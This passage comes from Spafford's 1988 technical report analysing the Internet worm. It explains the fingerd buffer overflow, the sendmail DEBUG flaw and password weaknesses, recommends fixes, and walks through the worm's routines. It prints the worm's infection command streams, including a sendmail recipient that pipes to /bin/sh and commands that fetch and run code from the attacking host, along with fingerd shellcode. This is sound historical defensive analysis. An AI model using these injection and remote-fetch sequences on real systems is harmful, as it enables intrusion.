The Internet Worm Program: An Analysis

Purdue Technical Report CSD-TR-823

Eugene H. Spafford

Department of Computer Sciences
Purdue University
West Lafayette, IN 47907-2004

spaf@cs.purdue.edu

ABSTRACT

On the evening of 2 November 1988, someone infected the Internet with a *worm* program. That program exploited flaws in utility programs in systems based on BSD-derived versions of UNIX. The flaws allowed the program to break into those machines and copy itself, thus *infecting* those systems. This program eventually spread to thousands of machines, and disrupted normal activities and Internet connectivity for many days.

This report gives a detailed description of the components of the worm program—data and functions. It is based on study of **two** completely independent reverse-compilations of the worm and a version disassembled to VAX assembly language. Almost no source code is given in the paper because of current concerns about the state of the ‘‘immune system’’ of Internet hosts, but the description should be detailed enough to allow the reader to understand the behavior of the program.

The paper contains a review of the security flaws exploited by the worm program, and gives some recommendations on how to eliminate or mitigate their future use. The report also includes an analysis of the coding style and methods used by the author(s) of the worm, and draws some conclusions about his abilities and intent.

Copyright © 1988 by Eugene H. Spafford. All rights reserved.
Permission is hereby granted to make copies of this work, without charge, solely for the purposes of instruction and research. Any such copies must include a copy of this title page and copyright notice. Any other reproduction, publication, or use is strictly prohibited without express written permission.

November 29, 1988; revised December 8, 1988

The Internet Worm Program: An Analysis

Purdue Technical Report CSD-TR-823

Eugene H. Spafford

Department of Computer Sciences
Purdue University
West Lafayette, IN 47907-2004

spaf@cs.purdue.edu

1. Introduction

On the evening of 2 November 1988 the Internet came under attack from within. Sometime around 6 PM EST, a program was executed on one or more hosts connected to the Internet. This program collected host, network, and user information, then broke into other machines using flaws present in those systems' software. After breaking in, the program would replicate itself and the replica would also attempt to infect other systems. Although the program would only infect Sun Microsystems Sun 3 systems, and VAX™ computers running variants of 4 BSD[1] UNIX,® the program spread quickly, as did the confusion and consternation of system administrators and users as they discovered that their systems had been invaded. Although UNIX has long been known to have some security weaknesses (cf. [Ritc79], [Gram84], and [Reid87]), the scope of the breakins came as a great surprise to almost everyone.

The program was mysterious to users at sites where it appeared. Unusual files were left in the /usr/tmp directories of some machines, and strange messages appeared in the log files of some of the utilities, such as the *sendmail* mail handling agent. The most noticeable effect, however, was that systems became more and more loaded with running processes as they became repeatedly infected. As time went on, some of these machines became so loaded that they were unable to continue any processing; some machines failed completely when their swap space or process tables were exhausted.

By late Wednesday night, personnel at the University of California at Berkeley and at Massachusetts Institute of Technology had ''captured'' copies of the program and began to analyze it. People at other sites also began to study the program and were developing methods of eradicating it. A common fear was that the program was somehow tampering with system resources in a way that could not be readily detected—that while a cure was being sought, system files were being altered or information destroyed. By 5 AM EST Thursday morning, less than 12 hours after the program was first discovered on the network, the Computer Systems Research Group at Berkeley had developed an interim set of steps to halt its spread. This included a preliminary patch to the *sendmail* mail agent, and the suggestion to rename one or both of the C compiler and loader to prevent their use. These suggestions were published in mailing lists and on the Usenet, although their spread was hampered by systems disconnecting from the Internet to attempt a ''quarantine.''

---

[1] BSD is an acronym for Berkeley Software Distribution.

® UNIX is a registered trademark of AT&T Laboratories.

™ VAX is a trademark of Digital Equipment Corporation.

By about 7 PM EST Thursday, another simple, effective method of stopping the infection, without renaming system utilities, was discovered at Purdue and also widely published. Software patches were posted by the Berkeley group at the same time to mend all the flaws that enabled the program to invade systems. All that remained was to analyze the code that caused the problems.

On November 8, the National Computer Security Center held a hastily-convened workshop in Baltimore. The topic of discussion was the program and what it meant to the Internet community. Who was at that meeting and why they were invited, and the topics discussed have not yet been made public.[2] However, one thing we know that was decided by those present at the meeting was that those present would not distribute copies of their reverse-engineered code to the general public. It was felt that the program exploited too many little-known techniques and that making it generally available would only provide other attackers a framework to build another such program. Although such a stance is well-intended, it can serve only as a delaying tactic. As of December 8, I am aware of at least eleven versions of the decompiled code, and because of the widespread distribution of the binary, I am sure there are at least ten times that many versions already completed or in progress—the required skills and tools are too readily available within the community to believe that only a few groups have the capability to reconstruct the source code.

Many system administrators, programmers, and managers are interested in how the program managed to establish itself on their systems and spread so quickly These individuals have a valid interest in seeing the code, especially if they are software vendors. Their interest is not to duplicate the program, but to be sure that all the holes used by the program are properly plugged. Furthermore, examining the code may help administrators and vendors develop defenses against future attacks, despite the claims to the contrary by some of the individuals with copies of the reverse-engineered code.

This report is intended to serve an interim role in this process. It is a detailed description of how the program works, but does not provide source code that could be used to create a new worm program. As such, this should be an aid to those individuals seeking a better understanding of how the code worked, yet it is in such a form that it cannot be used to create a new worm without considerable effort. Section 3 and Appendix C contain specific observations about some of the flaws in the system exploited by the program, and their fixes. A companion report, to be issued in a few weeks, will contain a history of the worm's spread through the Internet.

This analysis is the result of a study performed on three separate reverse-engineered versions of the worm code. Two of these versions are in C code, and one in VAX assembler. All three agree in all but the most minor details. One C version of the code compiles to binary that is identical to the original code, except for minor differences of no significance. From this, I can conclude with some certainty that if there was only one version of the worm program,[3] then it was benign in intent. The worm did not write to the file system except when transferring itself into a target system. It also did not transmit any information from infected systems to any site, other than copies of the worm program itself. Since the Berkeley Computer Systems Research Group has already published official fixes to the flaws exploited by the program, we do not have to worry about these specific attacks being used again. Many vendors have also

---

[2] I was invited at the last moment, but was unable to attend. I do not know why I was invited or how my name came to the attention of the organizers.

[3] A devious attack would have loosed one version on the net at large, and then one or more special versions on a select set of target machines. No one has coordinated any effort to compare the versions of the worm from different sites, so such a stratagem would have gone unnoticed. The code and the circumstances make this **highly** unlikely, but the possibility should be noted if future attacks occur.

issued appropriate patches. It now remains to convince the remaining vendors to issue fixes, and users to install them.

2. Terminology

There seems to be considerable variation in the names applied to the program described in this paper. I use the term *worm* instead of *virus* based on its behavior. Members of the press have used the term *virus*, possibly because their experience to date has been only with that form of security problem. This usage has been reinforced by quotes from computer managers and programmers also unfamiliar with the terminology. For purposes of clarifying the terminology, let me define the difference between these two terms and give some citations to their origins:

> A *worm* is a program that can run by itself and can propagate a fully working version of itself to other machines. It is derived from the word *tapeworm*, a parasitic organism that lives inside a host and saps its resources to maintain itself.
>
> A *virus* is a piece of code that adds itself to other programs, including operating systems. It cannot run independently—it requires that its ''host'' program be run to activate it. As such, it has a clear analog to biological viruses — those viruses are not considered alive in the usual sense; instead, they invade host cells and corrupt them, causing them to produce new viruses.

The program that was loosed on the Internet was clearly a worm.

2.1. Worms

The concept of a worm program that spreads itself from machine to machine was apparently first described by John Brunner in 1975 in his classic science fiction novel *The Shockwave Rider*.[Brun75] He called these programs *tapeworms* that lived ''inside'' the computers and spread themselves to other machines. In 1979-1981, researchers at Xerox PARC built and experimented with *worm* programs. They reported their experiences in an article in 1982 in *Communications of the ACM*.[Shoc82]

The worms built at PARC were designed to travel from machine to machine and do useful work in a distributed environment. They were not used at that time to break into systems, although some did ''get away'' during the tests. A few people seem to prefer to call the Internet Worm a *virus* because it was destructive, and they believe worms are non-destructive. Not everyone agrees that the Internet Worm was destructive, however. Since intent and effect are sometimes difficult to judge, using those as a naming criterion is clearly insufficient. As such, *worm* continues to be the clear choice to describe this kind of program.

2.2. Viruses

The first use of the word *virus* (to my knowledge) to describe something that infects a computer was by David Gerrold in his science fiction short stories about the G.O.D. machine. These stories were later combined and expanded to form the book *When Harlie Was One*.[Gerr72] A subplot in that book described a program named VIRUS created by an unethical scientist.[4] A computer infected with VIRUS would randomly dial the phone until it found another computer. It would then break into that system and infect it with a copy of VIRUS. This program would infiltrate the system software and slow the system down so much that it became unusable (except to infect other machines). The inventor had plans to sell a program named VACCINE that could cure VIRUS and prevent infection, but disaster occurred when noise on a phone line

[4] The second edition of the book, just published, has been ''updated'' to omit this subplot about VIRUS.

caused VIRUS to mutate so VACCINE ceased to be effective.

The term *computer virus* was first used in a formal way by Fred Cohen at USC.[Cohe84] He defined the term to mean a security problem that attaches itself to other code and turns it into something that produces viruses; to quote from his paper: ''We define a computer 'virus' as a program that can infect other programs by modifying them to include a possibly evolved copy of itself.'' He claimed the first computer virus was ''born'' on November 3, 1983, written by himself for a security seminar course.[5]

The interested reader may also wish to consult [Denn88] and [Dewd85] for further discussion of the terms.

3. Flaws and Misfeatures

3.1. Specific Problems

The actions of the Internet Worm exposed some specific security flaws in standard services provided by BSD-derived versions of UNIX. Specific patches for these flaws have been widely circulated in days since the worm program attacked the Internet. Those flaws and patches are discussed here.

3.1.1. fingerd and gets

The *finger* program is a utility that allows users to obtain information about other users. It is usually used to identify the full name or login name of a user, whether or not a user is currently logged in, and possibly other information about the person such as telephone numbers where he or she can be reached. The *fingerd* program is intended to run as a daemon, or background process, to service remote requests using the finger protocol.[Harr77]

The bug exploited to break *fingerd* involved overrunning the buffer the daemon used for input. The standard C library has a few routines that read input without checking for bounds on the buffer involved. In particular, the *gets* call takes input to a buffer without doing any bounds checking; this was the call exploited by the Worm.

The *gets* routine is not the only routine with this flaw. The family of routines *scanf/fscanf/sscanf* may also overrun buffers when decoding input unless the user explicitly specifies limits on the number of characters to be converted. Incautious use of the *sprintf* routine can overrun buffers. Use of the *strcat/strcpy* calls instead of the *strncat/strncpy* routines may also overflow their buffers.

Although experienced C programmers are aware of the problems with these routines, they continue to use them. Worse, their format is in some sense codified not only by historical inclusion in UNIX and the C language, but more formally in the forthcoming ANSI language standard for C. The hazard with these calls is that any network server or privileged program using them may possibly be compromised by careful precalculation of the (in)appropriate input.

An important step in removing this hazard would be first to develop a set of replacement calls that accept values for bounds on their program-supplied buffer arguments. Next, all system servers and privileged applications should be examined for unchecked uses of the original calls, with those calls then being replaced by the new bounded versions. Note that this audit has already been performed by the group at Berkeley; only the *fingerd* and *timed* servers used the *gets* call, and patches to *fingerd* have already been posted. Appendix C contains a new

[5] It is probably a coincidence that the Internet Worm was loosed on November 2, the eve of this ''birthday.''

version of *fingerd* written specifically for this report that may be used to replace the original version. This version makes no calls to *gets*.

3.1.2. Sendmail

The sendmail program is a mailer designed to route mail in a heterogeneous internetwork.[Allm83] The program operates in a number of modes, but the one of most interest is when it is operating as a daemon process. In this mode, the program is ''listening'' on a TCP port (#25) for attempts to deliver mail using standard Internet protocols, principally SMTP (Simple Mail Transfer Protocol).[Post82] When such a request is detected, the daemon enters into a dialog with the remote mailer to determine sender, recipient, delivery instructions, and message contents.

The bug exploited in *sendmail* had to do with functionality provided by a debugging option in the code. The Worm would issue the *DEBUG* command to *sendmail* and then specify a set of commands instead of a user address as the recipient of the message. Normally, this is not allowed, but it is present in the debugging code to allow testers to verify that mail is arriving at a particular site without the need to activate the address resolution routines. The debug option of sendmail is often used because of the complexity of configuring the mailer for local conditions, and many vendors and site administrators leave the debug option compiled in.

The sendmail program is of immense importance on most Berkeley-derived (and other) UNIX systems because it handles the complex tasks of mail routing and delivery. Yet, despite its importance and wide-spread use, most system administrators know little about how it works. Stories are often related about how system administrators will attempt to write new device drivers or otherwise modify the kernel of the OS, yet they will not willingly attempt to modify sendmail or its configuration files.

It is little wonder, then, that bugs are present in sendmail that allow unexpected behavior. Other flaws have been found and reported now that attention has been focused on the program, but it is not known for sure if all the bugs have been discovered and all the patches circulated.

One obvious approach would be to dispose of sendmail and develop a simpler program to handle mail. Actually, for purposes of verification, developing a suite of cooperating programs would be a better approach, and more aligned with the UNIX philosophy. In effect, sendmail is fundamentally flawed, not because of anything related to function, but because it is too complex and difficult to understand.[6]

The Berkeley Computer Systems Research Group has a new version (5.61) of *sendmail* with many bug fixes and patches for security flaws. This version of sendmail is available for FTP from the host ''ucbarpa.berkeley.edu'' and will be present in the file ~ftp/pub/sendmail.tar.Z after 12 December 1988. System administrators are **strongly** encouraged to retrieve and install this updated version of sendmail since it contains fixes to potential security flaws other than the one exploited by the Internet Worm.

Note that this new version is shipped with the DEBUG option disabled by default. However, this does not help system administrators who wish to enable the DEBUG option, although the researchers at Berkeley believe they have fixed all the security flaws inherent in that facility. One approach that could be taken with the program would be to have it prompt the user for the password of the super user (root) when the DEBUG command is given. A static password should **never** be compiled into the program because this would mean that the same password

[6] Note that a widely used alternative to sendmail, MMDF, is also viewed as too complex and large by many users. Further, it is not perceived to be as flexible as sendmail if it is necessary to establish special addressing and handling rules when bridging heterogeneous networks.

might be present at multiple sites and seldom changed.

For those sites without access to FTP or otherwise unable to obtain the new version, the official patches to sendmail version 5.59 are enclosed in Appendix D. Sites running versions of sendmail prior to 5.59 should make every effort to obtain the new version.

3.2. Other Problems

Although the Worm exploited flaws in only two server programs, its behavior has served to illustrate a few fundamental problems that have not yet been widely addressed. In the interest of promoting better security, some of these problems are discussed here. The interested reader is directed to works such as [Gram84] for a broader discussion of related issues.

3.2.1. Servers in general

A security flaw not exploited by the Worm, but now becoming obvious, is that many system services have configuration and command files owned by a common userid. Programs like sendmail, the *at* service, and other facilities are often all owned by the same non-user id. This means that if it is possible to abuse one of the services, it might be possible to abuse many.

One way to deal with the general problem is have every daemon and subsystem run with a separate userid. That way, the command and data files for each subsystem could be protected in such a way that only that subsystem could have write (and perhaps read) access to the files. This is effectively an implementation of the principle of least privilege. Although doing this might add an extra dozen user ids to the system, it is a small cost to pay, and is already supported in the UNIX paradigm. Services that should have separate ids include sendmail, news, at, finger, ftp, uucp and YP.

3.2.2. Passwords

A key attack of the Worm program involved attempts to discover user passwords. It was able to determine success because the encrypted password[7] of each user was in a publicly-readable file. This allows an attacker to encrypt lists of possible passwords and then compare them against the actual passwords without passing through any system function. In effect, the security of the passwords is provided in large part by the prohibitive effort of trying all combinations of letters. Unfortunately, as machines get faster, the cost of such attempts decreases. Dividing the task among multiple processors further reduces the time needed to decrypt a password. It is currently feasible to use a supercomputer to precalculate all probable[8] passwords and store them on optical media. Although not (currently) portable, this scheme would allow someone with the appropriate resources access to any account for which they could read the password field and then consult their database of pre-encrypted passwords. As the density of storage media increases, this problem will only get more severe.

A clear approach to reducing the risk of such attacks, and an approach that has already been taken in some variants of UNIX, would be to have a *shadow* password file. The encrypted passwords are saved in a file that is readable only by the system administrators, and a privileged call performs password encryptions and comparisons with an appropriate delay (.5 to 1 second, for instance). This would prevent any attempt to ‘‘fish’’ for passwords. Additionally, a threshold could be included to check for repeated password attempts from the same process, resulting

---

[7] Strictly speaking, the password is not encrypted. A block of zero bits is repeatedly encrypted using the user password, and the results of this encryption is what is saved. See [Morr79] for more details.

[8] Such a list would likely include all words in the dictionary, the reverse of all such words, and a large collection of proper names.

in some form of alarm being raised. Shadow password files should be used in combination with encryption rather than in place of such techniques, however, or one problem is simply replaced by a different one; the combination of the two methods is stronger than either one alone.

Another way to strengthen the password mechanism would be to change the utility that sets user passwords. The utility currently makes minimal attempt to ensure that new passwords are nontrivial to guess. The program could be strengthened in such a way that it would reject any choice of a word currently in the on-line dictionary or based on the account name.

4. High-Level Description of the Worm

This section contains a high-level overview of how the worm program functions. The description in this section assumes that the reader is familiar with standard UNIX commands and somewhat familiar with network facilities under UNIX. Section 5 describes the individual functions and structures in more detail.

The worm consists of two parts: a main program, and a bootstrap or *vector* program (described in Appendix B). We will start this description from the point at which a host is about to be infected. At this point, a worm running on another machine has either succeeded in establishing a shell on the new host and has connected back to the infecting machine via a TCP connection, or it has connected to the SMTP port and is transmitting to the sendmail program.

The infection proceeded as follows:

1) A socket was established on the infecting machine for the vector program to connect to (e.g., socket number 32341). A challenge string was constructed from a random number (e.g., 8712440). A file name base was also constructed using a random number (e.g., 14481910).

2) The vector program was installed and executed using one of two methods:

   2a) Across a TCP connection to a shell, the worm would send the following commands (the two lines beginning with ‘‘cc’’ were sent as a single line):

```
PATH=/bin:/usr/bin:/usr/ucb
cd /usr/tmp
echo gorch49; sed '/int zz/q' > x14481910.c;echo gorch50
[text of vector program—enclosed in Appendix B]
int zz;
cc -o x14481910 x14481910.c;./x14481910 128.32.134.16 32341 8712440;
rm -f x14481910 x14481910.c;echo DONE
```

   Then it would wait for the string ‘‘DONE’’ to signal that the vector program was running.

   2b) Using the SMTP connection, it would transmit (the two lines beginning with ‘‘cc’’ were sent as a single line):

```
debug
mail from: </dev/null>
rcpt to: <"|sed -e '1,/^$/'d | /bin/sh ; exit 0">
data

cd /usr/tmp
cat > x14481910.c <<'EOF'
[text of vector program—enclosed in Appendix B]
EOF
cc -o x14481910 x14481910.c;x14481910 128.32.134.16 32341 8712440;
rm -f x14481910 x14481910.c

.
quit
```

The infecting worm would then wait for up to 2 minutes on the designated port for the vector to contact it.

3) The vector program then connected to the ‘‘server,’’ sent the challenge string, and transferred three files: a Sun 3 binary version of the worm, a VAX version, and the source code for the vector program. After the files were copied, the running vector program became (via the *execl* call) a shell with its input and output still connected to the server worm.

4) The server worm sent the following command stream to the connected shell:

```
PATH=/bin:/usr/bin:/usr/ucb
rm -f sh
if [ -f sh ]
then
P=x14481910
else
P=sh
fi
```

Then, for each binary file it had transferred (just two in this case, although the code is written to allow more), it would send the following form of command sequence:

```
cc -o $P x14481910,sun3.o
./$P -p $$ x14481910,sun3.o x14481910,vax.o x14481910,l1.c
rm -f $P
```

The *rm* would succeed only if the linked version of the worm failed to start execution. If the server determined that the host was now infected, it closed the connection. Otherwise, it would try the other binary file. After both binary files had been tried, it would send over *rm* commands for the object files to clear away all evidence of the attempt at infection.

5) The new worm on the infected host proceeded to ‘‘hide’’ itself by obscuring its argument vector, unlinking the binary version of itself, and killing its parent (the $$ argument in the invocation). It then read into memory each of the worm binary files, encrypted each file after reading it, and deleted the files from disk.

6) Next, the new worm gathered information about network interfaces and hosts to which the local machine was connected. It built lists of these in memory, including information about canonical and alternate names and addresses. It gathered some of this information

by making direct *ioctl* calls, and by running the *netstat* program with various arguments. It also read through various system files looking for host names to add to its database.

7) It randomized the lists it constructed, then attempted to infect some of those hosts. For directly connected networks, it created a list of possible host numbers and attempted to infect those hosts if they existed. Depending on the type of host (gateway or local network), the worm first tried to establish a connection on the *telnet* or *rexec* ports to determine reachability before it attempted one of the infection methods.

8) The infection attempts proceeded by one of three routes: *rsh, fingerd,* or *sendmail*.

   8a) The attack via *rsh* was done by attempting to spawn a remote shell by invocation of (in order of trial) /usr/ucb/rsh, /usr/bin/rsh, and /bin/rsh. If successful, the host was infected as in steps 1 and 2a, above.

   8b) The attack via the *finger* daemon was somewhat more subtle. A connection was established to the remote *finger* server daemon and then a specially constructed string of 536 bytes was passed to the daemon, overflowing its input buffer and overwriting parts of the stack. For standard 4 BSD versions running on VAX computers, the overflow resulted in the return stack frame for the *main* routine being changed so that the return address pointed into the buffer on the stack. The instructions that were written into the stack at that location were:

```
pushl   $68732f      '/sh\0'
pushl   $6e69622f    '/bin'
movl    sp, r10
pushl   $0
pushl   $0
pushl   r10
pushl   $3
movl    sp,ap
chmk    $3b
```

   That is, the code executed when the *main* routine attempted to return was:

   execve("/bin/sh", 0, 0)

   On VAXen, this resulted in the worm connected to a remote shell via the TCP connection. The worm then proceeded to infect the host as in steps 1 and 2a, above. On Suns, this simply resulted in a core file since the code was not in place to corrupt a Sun version of *fingerd* in a similar fashion.

   8c) The worm then tried to infect the remote host by establishing a connection to the SMTP port and mailing an infection, as in step 2b, above.

Not all the steps were attempted. As soon as one method succeeded, the host entry in the internal list was marked as *infected* and the other methods were not attempted.

9) Next, it entered a state machine consisting of five states. Each state was run for a short while, then the program looped back to step #7 (attempting to break into other hosts via *sendmail, finger,* or *rsh*). The first four of the five states were attempts to break into user accounts on the local machine. The fifth state was the final state, and occurred after all attempts had been made to break all passwords. In the fifth state, the worm looped forever trying to infect hosts in its internal tables and marked as not yet infected. The first four states were:

   9a) The worm read through the */etc/hosts.equiv* files and */.rhosts* files to find the names of *equivalent* hosts. These were marked in the internal table of hosts. Next, the

worm read the */etc/passwd* file into an internal data structure. As it was doing this, it also examined the *.forward* file in each user home directory and included those host names in its internal table of hosts to try. Oddly, it did not similarly check user *.rhosts* files.

9b) The worm attempted to break each user password using simple choices. The worm first checked the obvious case of no password. Then, it used the account name and GECOS field to try simple passwords. Assume that the user had an entry in the password file like:

account:abcedfghijklm:100:5:User, Name:/usr/account:/bin/sh

then the words tried as potential passwords would be *account, accountaccount, User, Name, user, name,* and *tnuocca.* These are, respectively, the account name, the account name concatenated with itself, the first and last names of the user, the user names with leading capital letters turned to lower case, and the account name reversed. Experience described in[Gram84] indicates that on systems where users are naive about password security, these choices may work for up to 30% of user passwords.

Step 10 in this section describes what was done if a password ‘‘hit’’ was achieved.

9c) The third stage in the process involved trying to break the password of each user by trying each word present in an internal dictionary of words (see Appendix I). This dictionary of 432 words was tried against each account in a random order, with ‘‘hits’’ being handled as described in step 10, below.

9d) The fourth stage was entered if all other attempts failed. For each word in the file /usr/dict/words, the worm would see if it was the password to any account. In addition, if the word in the dictionary began with an upper case letter, the letter was converted to lower case and that word was also tried against all the passwords.

10) Once a password was broken for any account, the worm would attempt to break into remote machines where that user had accounts. The worm would scan the *.forward* and *.rhosts* files of the user at this point, and identify the names of remote hosts that had accounts used by the target user. It then attempted two attacks:

10a) The worm would first attempt to create a remote shell using the *rexec*[9] service. The attempt would be made using the account name given in the *.forward* or *.rhosts* file and the user’s local password. This took advantage of the fact that users often have the same password on their accounts on multiple machines.

10b) The worm would do a *rexec* to the current host (using the local user name and password) and would try a *rsh* command to the remote host using the username taken from the file. This attack would succeed in those cases where the remote machine had a hosts.equiv file or the user had a *.rhosts* file that allowed remote execution without a password.

If the remote shell was created either way, the attack would continue as in steps 1 and 2a, above. No other use was made of the user password.

Throughout the execution of the main loop, the worm would check for other worms running on the same machine. To do this, the worm would attempt to connect to another worm on a local, predetermined TCP socket.[10] If such a connection succeeded, one worm would

[9] *rexec* is a remote command execution service. It requires that a username/password combination be supplied as part of the request.

[10] This was compiled in as port number 23357, on host 127.0.0.1 (loopback).

(randomly) set its *pleasequit* variable to 1, causing that worm to exit after it had reached part way into the third stage (9c) of password cracking. This delay is part of the reason many systems had multiple worms running: even though a worm would check for other local worms, it would defer its self-destruction until significant effort had been made to break local passwords.

One out of every seven worms would become immortal rather than check for other local worms. This was probably done to defeat any attempt to put a fake worm process on the TCP port to kill existing worms. It also contributed to the load of a machine once infected.

The worm attempted to send an UDP packet to the host ernie.berkeley.edu[11] approximately once every 15 infections, based on a random number comparison. The code to do this was incorrect, however, and no information was ever sent. Whether this was the intended ruse or whether there was actually some reason for the byte to be sent is not currently known. However, the code is such that an uninitialized byte is the intended message. It is possible that the author eventually intended to run some monitoring program on ernie (after breaking into an account, perhaps). Such a program could obtain the sending host number from the single-byte message, whether it was sent as a TCP or UDP packet. However, no evidence for such a program has been found and it is possible that the connection was simply a feint to cast suspicion on personnel at Berkeley.

The worm would also *fork* itself on a regular basis and *kill* its parent. This served two purposes. First, the worm appeared to keep changing its process id and no single process accumulated excessive amounts of cpu time. Secondly, processes that have been running for a long time have their priority downgraded by the scheduler. By forking, the new process would regain normal scheduling priority. This mechanism did not always work correctly, either, as we locally observed some instances of the worm with over 600 seconds of accumulated cpu time.

If the worm ran for more than 12 hours, it would flush its host list of all entries flagged as being immune or already infected. The way hosts were added to this list implies that a single worm might reinfect the same machines every 12 hours.

5. A Tour of the Worm

The following is a brief, high-level description of the routines present in the Worm code. The description covers all the significant functionality of the program, but does not describe all the auxiliary routines used nor does it describe all the parameters or algorithms involved. It should, however, give the user a complete view of how the Worm functioned.

5.1. Data Structures

The Worm had a few global data structures worth mentioning. Additionally, the way it handled some local data is of interest.

5.1.1. Host list

The Worm constructed a linked list of host records. Each record contained an array of 12 character pointers to allow storage of up to 12 host names/aliases. Each record also contained an array of six long unsigned integers for host addresses, and each record contained a flag field. The only flag bits used in the code appear to be 0x01 (host was a gateway), 0x2 (host has been infected), 0x4 (host cannot be infected — not reachable, not UNIX, wrong machine type), and 0x8 (host was ‘‘equivalent’’ in the sense that it appeared in a context like *.rhosts* file).

---

[11] Using TCP port 11357 on host 128.32.137.13.

5.1.2. Gateway List

The Worm constructed a simple array of gateway IP addresses through the use of the system *netstat* command. These addresses were used to infect directly connected networks. The use of the list is described in the explanation of *scan_gateways* and *rt_init*, below.

5.1.3. Interfaces list

An array of records was filled in with information about each network interface active on the current host. This included the name of the interface, the outgoing address, the netmask, the destination host if the link was point-to-point[12], and the interface flags. Interestingly, although this routine was coded to get the address of the host on the remote end of point-to-point links, no use seems to have been made of that information anywhere else in the program.

5.1.4. Pwd

A linked list of records was built to hold user information. Each structure held the account name, the encrypted password, the home directory, the GECOS field, and a link to the next record. A blank field was also allocated for decrypted passwords as they were found.

5.1.5. objects

The program maintained an array of ‘‘objects’’ that held the files that composed the Worm. Rather than have the files stored on disk, the program read the files into these internal structures. Each record in the list contained the suffix of the file name (e.g., ‘‘sun3.o’’), the size of the file, and the encrypted contents of the file. The use of this structure is described below.

5.1.6. Words

A mini-dictionary of words was present in the Worm to use in password guessing (see Appendix A). The words were stored in an array, and every word was masked (XOR) with the bit pattern 0x80. Thus, the dictionary would not show up with an invocation of the *strings* program on the binary or object files.

5.1.7. Embedded Strings

Every text string used by the program, except for the words in the mini-dictionary, was masked (XOR) with the bit pattern 0x81. Every time a string was referenced, it was referenced via a call to *XS*. The *XS* function decrypted the requested string in a static circular buffer and returned a pointer to the decrypted version. This also kept any of the text strings in the program from appearing during an invocation of *strings*. Simply clearing the high order bit (e.g., XOR 0x80) or displaying the program binary would not produce intelligible text. All references to XS have been omitted from the following text; realize that every string was so encrypted.

It is not evident how the strings were placed in the program in this manner. The masked strings were present inline in the code, so some preprocessor or a modified version of the compiler was likely used. This represents a significant effort by the author of the Worm, and suggests quite strongly that the author wanted to complicate or prevent the analysis of the program once it was discovered.

5.2. Routines

The descriptions given here are arranged in alphabetic order. The names of some routines are exactly as used by the author of the code. Other names are based on the function of the routine, and those names were chosen because the original routines were declared *static* and name information was not present in the object files.

If the reader wishes to trace the functional flow of the Worm, begin with the descriptions of routines **main** and **doit** (presented first for this reason). By function, the routines can be (arbitrarily) grouped as follows:

setup and utility: main, doit, crypt, h_addaddr, h_addname, h_addr2host, h_clean, h_name2host, if_init, loadobject, makemagic, netmaskfor, permute, rt_init, supports_rsh, and supports_telnet.

network & password attacks: attack_network, attack_user, crack_0, crack_1, crack_2, crack_3, cracksome, ha, hg, hi, hl, hul, infect, scan_gateways, sendWorm, try_fingerd, try_password, try_rsh, try_sendmail, and waithit.

camouflage: checkother, other_sleep, send_message, and xorbuf.

5.2.1. main

This was where the program started. The first thing it did was change its argument vector to make it look like it was the shell running. Next, it set its resource limits so a failure would not drop a core file. Then it loaded all the files named on the command line into the object structure in memory using calls to *loadobject*. If the *l1.c* file was not one of the objects loaded, the Worm would immediately call *exit*.

Next, the code unlinked all the object files, the file named *sh* (the Worm itself), and the file /tmp/.dumb (apparently a remnant of some earlier version of the program, possibly used as a restraint or log during testing—the file is not otherwise referenced). The program then finished zeroing out the argument vector.

Next, the code would call *if_init;* if no interfaces were discovered by that routine, the program would call *exit.* The program would then get its current process group. If the process group was the same as its parent process id (passed on the command line), it would reset its process group and send a KILL signal to its parent.

Last of all, the routine *doit* was invoked.

5.2.2. doit

This was the main Worm code. First, a variable was set to the current time with a call to *time,* and the random number generator was initialized with the return value.

Next, the routines *hg* and *hl* were invoked to infect some hosts. If one or both of these failed to infect any hosts, the routine *ha* was invoked.

Next, the routine *checkother* was called to see if other Worms were on this host. The routine *send_message* was also called to cast suspicion on the folks at Berkeley.[13] The code then entered an infinite loop:

A call would be made to *cracksome* followed by a call to *other_sleep* with a parameter of 30. Then *cracksome* would be called again. At this point, the process would *fork* itself, and the parent would *exit,* leaving the child to continue.

Next, the routines *hg, ha,* and *hi* would all be called to infect other hosts. If any one (or combination) of these routines failed to infect a new host, the routine *hl* would be called to infect a local host. Thus, the code was aggressive about always infecting at least one host each pass through this loop. The logic here was faulty, however, because if all known gateway hosts were infected, or a bad set of host numbers were tried in *ha*, this code would call *hl* every time through the loop. Such behavior was one of the reasons hosts

[13] As if some of them aren't suspicious enough!

became overloaded with Worm processes: every pass through the loop, each Worm would likely be forced to infect another local host. Considering that multiple Worms could run on a host for some time before one would exit, this could lead to an exponential growth of Worms in a LAN environment.

Next, the routine *other_sleep* was called with a timeout of 120. A check was then made to see if the Worm had run for more than 12 hours. If so, a call was made to *h_clean*.

Finally, a check was made of the *pleasequit* and *nextw* variables (set in *other_sleep* or *checkother*, and *crack_2*, respectively). If *pleasequit* was nonzero, and *nextw* was greater than 10, the Worm would *exit*.

5.2.3. attack_network

This routine was designed to infect random hosts on a subnet. First, for each of the network interfaces, if checked to see if the target host was on a network to which the current host was directly connected. If so, the routine immediately returned.[14]

Based on the class of the netmask (e.g., Class A, Class B), the code constructed a list of likely network numbers. A special algorithm was used to make good guesses at potential Class A host numbers. All these constructed host numbers were placed in a list, and the list was then randomized using *permute*. If the network was Class B, the permutation was done to favor low-numbered hosts by doing two separate permutations—the first six hosts in the output list were guaranteed to be chosen from the first dozen (low-numbered) host numbers generated.

The first 20 entries in the permuted list were the only ones examined. For each such IP address, its entry was retrieved from the global list of hosts (if it was in the list). If the host was in the list and was marked as already infected or immune, it was ignored. Otherwise, a check was made to see if the host supported the rsh command (identifying it as existing and having BSD-derived networking services) by calling *supports_rsh*. If the host did support rsh, it was entered into the hosts list if not already present, and a call to *infect* was made for that host.

If a successful infection occurred, the routine returned early with a value of TRUE (1).

5.2.4. attack_user

This routine was called after a user password was broken. It has some incorrect code and may not work properly on every architecture because a subroutine call was missing an argument. However, on Suns and VAXen, the code will work because the missing argument was supplied as an **extra** argument to the previous call, and the order of the arguments on the stack matches between the two routines. It was largely a coincidence that this worked.

The routine attempted to open a *.forward* file in the the user's home directory, and then for each host and user name present in that file, it called the *hul* routine. It then did the same thing with the *.rhosts* file, if present, in the user's home directory.

5.2.5. checkother

This routine was to see if another Worm was present on this machine and is a companion routine to *other_sleep*. First, a random value was checked: with a probability of 1 in 7, the routine returned without ever doing anything—these Worms become immortal in the sense that they never again participated in the process of thinning out multiple local Worms.

---

[14] This appears to be a bug. The probable assumption was that the routine *hl* would handle infection of local hosts, but *hl* calls this routine! Thus, local hosts were never infected via this route.

